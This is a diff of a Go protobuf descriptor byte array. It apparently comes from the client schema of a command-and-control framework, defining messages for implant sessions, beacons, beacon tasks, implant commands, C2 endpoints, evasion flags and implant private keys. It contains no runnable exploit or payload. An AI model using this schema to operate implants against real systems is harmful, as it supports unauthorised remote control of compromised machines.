- 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d,
- 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0a, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b,
- 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74,
- 0x65, 0x4b, 0x65, 0x79, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72,
- 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65,
- 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61,
- 0x74, 0x75, 0x72, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72,
- 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75,
- 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65,
- 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0d, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72,
- 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x13,
- 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67,
- 0x65, 0x73, 0x74, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x50, 0x65, 0x65, 0x72, 0x50,
- 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x65, 0x73, 0x74, 0x12, 0x2a,
- 0x0a, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b,
- 0x65, 0x79, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c,
- 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47,
- 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x10, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b,
- 0x65, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74,
- 0x18, 0x11, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65,
- 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x12,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18,
- 0x0a, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x18, 0x13, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x67,
- 0x65, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x53, 0x74, 0x61, 0x67, 0x65, 0x22, 0x6c,
- 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74,
- 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
- 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06,
- 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63,
+ 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x02, 0x20,
+ 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c,
+ 0x61, 0x73, 0x74, 0x53, 0x65, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x4c,
+ 0x61, 0x73, 0x74, 0x53, 0x65, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x73, 0x22, 0x3b, 0x0a, 0x0d, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61,
+ 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61,
+ 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xdf,
+ 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e,
+ 0x64, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x73, 0x65,
+ 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x1c, 0x0a,
+ 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49,
+ 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a,
+ 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28,
+ 0x03, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x14, 0x0a,
+ 0x05, 0x42, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x42, 0x6c,
+ 0x6f, 0x63, 0x6b, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09,
+ 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
+ 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
+ 0x22, 0xb5, 0x01, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75,
+ 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x12,
+ 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28,
+ 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x49,
+ 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09,
+ 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70,
+ 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b,
+ 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52,
+ 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63,
+ 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52,
+ 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xab, 0x01, 0x0a, 0x07, 0x48, 0x69, 0x73,
+ 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c,
+ 0x65, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72,
+ 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79,
+ 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79,
+ 0x12, 0x34, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x18, 0x04, 0x20, 0x03,
+ 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d,
+ 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x08, 0x43, 0x6f,
+ 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,
+ 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
+ 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65,
+ 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x93, 0x05, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69,
+ 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02,
+ 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61,
+ 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61,
+ 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61,
+ 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61,
+ 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72,
+ 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54,
+ 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f,
+ 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10,
+ 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44,
+ 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b,
+ 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28,
+ 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a,
+ 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65,
+ 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72,
+ 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18,
+ 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16,
+ 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06,
+ 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e,
+ 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28,
+ 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65,
+ 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c,
+ 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c,
+ 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08,
+ 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65,
+ 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78,
+ 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72,
+ 0x49, 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44,
+ 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73,
+ 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c,
+ 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a,
+ 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18,
+ 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48,
+ 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48,
+ 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18,
+ 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55,
+ 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55,
+ 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44,
+ 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f,
+ 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41,
+ 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12,
+ 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a,
+ 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72,
+ 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05,
+ 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d,
+ 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d,
+ 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e,
+ 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63,
+ 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18,
+ 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12,
+ 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61,
+ 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73,
+ 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20,
+ 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50,
+ 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50,
+ 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e,
+ 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01,
+ 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74,
+ 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61,
+ 0x6c, 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61,
+ 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28,
+ 0x03, 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72,
+ 0x6e, 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65,
+ 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e,
+ 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63,
+ 0x6b, 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e,
+ 0x74, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f,
+ 0x75, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e,
+ 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03,
+ 0x52, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70,
+ 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18,
+ 0x1c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a,
+ 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20,
+ 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63,
+ 0x74, 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07,
+ 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52,
+ 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0x98, 0x02, 0x0a, 0x0a, 0x42, 0x65, 0x61,
+ 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20,
